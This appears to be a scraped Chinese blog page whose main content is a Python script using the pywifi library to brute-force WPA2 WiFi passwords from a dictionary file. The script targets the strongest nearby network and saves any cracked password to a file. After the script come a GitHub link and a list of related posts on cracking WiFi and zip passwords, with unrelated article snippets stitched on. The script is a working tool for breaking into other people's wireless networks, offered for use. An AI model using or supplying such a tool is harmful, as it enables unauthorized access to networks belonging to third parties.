import time
# 破解wifi库
import pywifi
from pywifi import const class PoJie(object): def __init__(self, path):
# wifi密码字典文件
self.file = open(path, 'r', errors='ignore')
# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 抓取第一个网卡
self.iface = wifi.interfaces()[0]
# 测试连接时断开所有的链接
self.iface.disconnect()
time.sleep(1)
self.alist = self.initialssidnamelist()
# 测试是否处于断开状态
# assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] def bies(self):
# 扫描
self.iface.scan()
# 获取扫描结果
bessis = self.iface.scan_results()
alist = []
for data in bessis:
alist.append((data.ssid, data.signal))
# 按信号强度排序
return len(alist), sorted(alist, key=lambda st: st[1], reverse=True) def getsignal(self):
while True:
# 获取所有的wifi
n, data = self.bies()
time.sleep(1)
if n is not 0:
# 如果数量不为0,返回前10个信号最好的
return data[0:1] def initialssidnamelist(self):
ssidlist = self.getsignal()
namelist = []
# 获取前10个wifi的名称
for item in ssidlist:
print(item[0])
namelist.append(item[0])
return namelist def readPassword(self, ssidname, myStr):
# 测试wifi名和密码是否匹配
bool1 = self.test_connect(myStr, ssidname)
if len(myStr) < 8:
return False
if bool1:
# 保存密码和wifi名到文件中
save_password_to_file(myStr, ssidname)
print('------------------------------------------------密码正确: ' + myStr + '-----' + ssidname)
return True
else:
print('密码错误: ' + myStr + ' ' + ssidname)
return False def test_connect(self, findStr, ssidname):
"""
测试连接
:param findStr: 密码
:param ssidname: wifi名
"""
# 创建wifi链接文件
profile = pywifi.Profile()
# wifi名称
profile.ssid = ssidname
# 开放网卡
profile.auth = const.AUTH_ALG_OPEN
# wifi加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 密码
profile.key = findStr
# 删除所有的wifi文件
self.iface.remove_all_network_profiles()
# 设置新的链接文件
tmp_profile = self.iface.add_network_profile(profile)
# 连接
self.iface.connect(tmp_profile)
time.sleep(2)
# 判断是否已经连接上
if self.iface.status() == const.IFACE_CONNECTED:
isOk = True
else:
isOk = False
self.iface.disconnect()
time.sleep(1)
# 检查断开状态
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOk def run(self):
while True:
myStr = self.file.readline()
for ssidname in self.alist:
ret = self.readPassword(ssidname, myStr)
if ret:
raise FileExistsError def __del__(self):
self.file.close() def save_password_to_file(myStr, ssidname):
with open('password.txt', 'a') as fp:
fp.write(str(myStr) + '-->' + str(ssidname)) if __name__ == '__main__':
# 密码字典文件所在路径
path = 'D:\WIFI密码字典.txt'#此处是wifi密码字典文件的位置
start = PoJie(path)
start.run()

程序github地址:https://github.com/a15058713697/python-get-wifi-password

如果好用请给个star

python暴力破解wifi密码程序的更多相关文章

  1. 分享一个撩妹、装13神技能,0基础用Python暴力破解WiFi密码

    WiFi密码Python暴力破解   Python密码破解部分截图 获取视频资料,转发此文+点击喜欢,然后获取资料请加Python交流群:580478401,就可以获取视频教程+源码 环境准备: py ...

  2. python暴力破解压缩包密码

    啥也不说,直接上代码 #-*-coding:utf-8-*- import zipfile #生成1-999999的数字密码表, 要是有别的密码类型,对密码表改造一下就可以了,也可以上网下载某些类型的 ...

  3. 如何用python轻松破解wifi密码( 源码 )

    摘要: 我得说明下这个东西一点都不高端,甚至看起来有点糟糕.而且用的是单线程~,因为过几天要搬家了,于是.. 环境准备 python2.7 凑合的linux 差不多的无线网卡 pywifi模块 弱口令 ...

  4. Python最新暴力破解WiFi,攻破所有密码限制,最强破解!

    暴力破解wifi密码 这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是P ...

  5. 怎么破解Wifi密码

    破解无络网络Wifi密码,让手机上Wifi不再受限. 方法/步骤 1 上网搜索并下载“Wfi万能钥匙”APK程序,然后将其安装到手机内存中.可以借助手机类管理软件将APK应用安装到手机中. 步骤阅读 ...

  6. 用 Python 破解 WiFi 密码

    如今,WiFi 跟我们的生活息息相关,无处不在.没有 WiFi 的地方是没有灵魂的! ​ 然而,比没有WiFi更让人绝望的,是有满格WiFi信号却没有密码…… ​ 今天我们就来尝试下,如何利用pyth ...

  7. 牛逼了,用Python破解wifi密码

    Python真的是无所不能,原因就是因为Python有数目庞大的库,无数的现成的轮子,让你做很多很多应用都非常方便.wifi跟我们的生活息息相关,无处不在.今天从WiFi连接的原理,再结合代码为大家详 ...

  8. Python破解Wifi密码思路

    一.前言说明 本机运行环境:系统环境Win10,运行环境Python3.6,运行工具Pycharm 需要Python的包有:pywifi 这是一种暴力破解wifi的模式,需要的时间比较长,本文主要提供 ...

  9. python 暴力破解密码脚本

    python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...

随机推荐

  1. RXSwift01

    //创建 Observable 序列 func createObservable(){ /* let observable = Observable<Int>.just(5) let ob ...

  2. 小程序接收from表单数据(实例)

    html部分 <form bindsubmit='sub'> <view class="con"> <view class="con-nr& ...

  3. [Xcode 实际操作]九、实用进阶-(18)图像人脸识别:对图片中的人像进行面部检测

    目录:[Swift]Xcode实际操作 本文将演示对图片中的人像,进行面部检测. 在项目导航区,打开视图控制器的代码文件[ViewController.swift] import UIKit //导入 ...

  4. 阿里巴巴开源性能监控神器Arthas初体验

    如果问性能测试中最难的是哪部分,相信很多人会说“性能调优”.确实是这样,性能调优是一个非常复杂.技术含量很高的工作.涉及到的知识面很广.以我多年从业经验来看,在企业里,大多数的性能调优都是由开发架构师 ...

  5. hyperledger fabric 1.0.5 分布式部署 (四)

    chaincode 的开发 作者在hyperledger fabric 1.0.5 分布式部署 (三)中向读者介绍了如何开发fabric 的chaincode,那么实际上chaincode 还有其他的 ...

  6. (转)java 线程同步

    转自 http://blog.csdn.net/column/details/java-thread.html http://leo-faith.iteye.com/blog/177779 http: ...

  7. bzoj1125:[POI2008]Poc

    传送门 这个题好难卡啊. 看到这种题自然会想到字符串hash是不是,但是对于每次操作造成的影响需要\(O(n)\)的时间去更新,自然是不优的 可以发现这个更新可以用数据结构来维护,对于每个hash值开 ...

  8. MyBatis逆向工程中domainObjectRenamingRule报错或无效

    使用domainObjectRenamingRule报错 在使用MyBatis逆向工程时报错如下: org.mybatis.generator.exception.XMLParserException ...

  9. IP服务-5-网络时间协议

    NTP版本3(RFC1305)允许IP主机向一个通用的时钟源同步它们的日期和时间. 从设计上来说,大多数路由器和交换机都使用NTP客户端模式,根据NTP服务器所提供的时间来调整自己的时钟.NTP定义了 ...

  10. Django (八) 中间件&验证码&富文本&缓存

    中间件&验证码&富文本&缓存 1. 中间件&AOP   中间件:是一个轻量级的,底层的插件,可以介入Django的请求和响应过程(面向切面编程) ​ 中间件的本质就是一 ...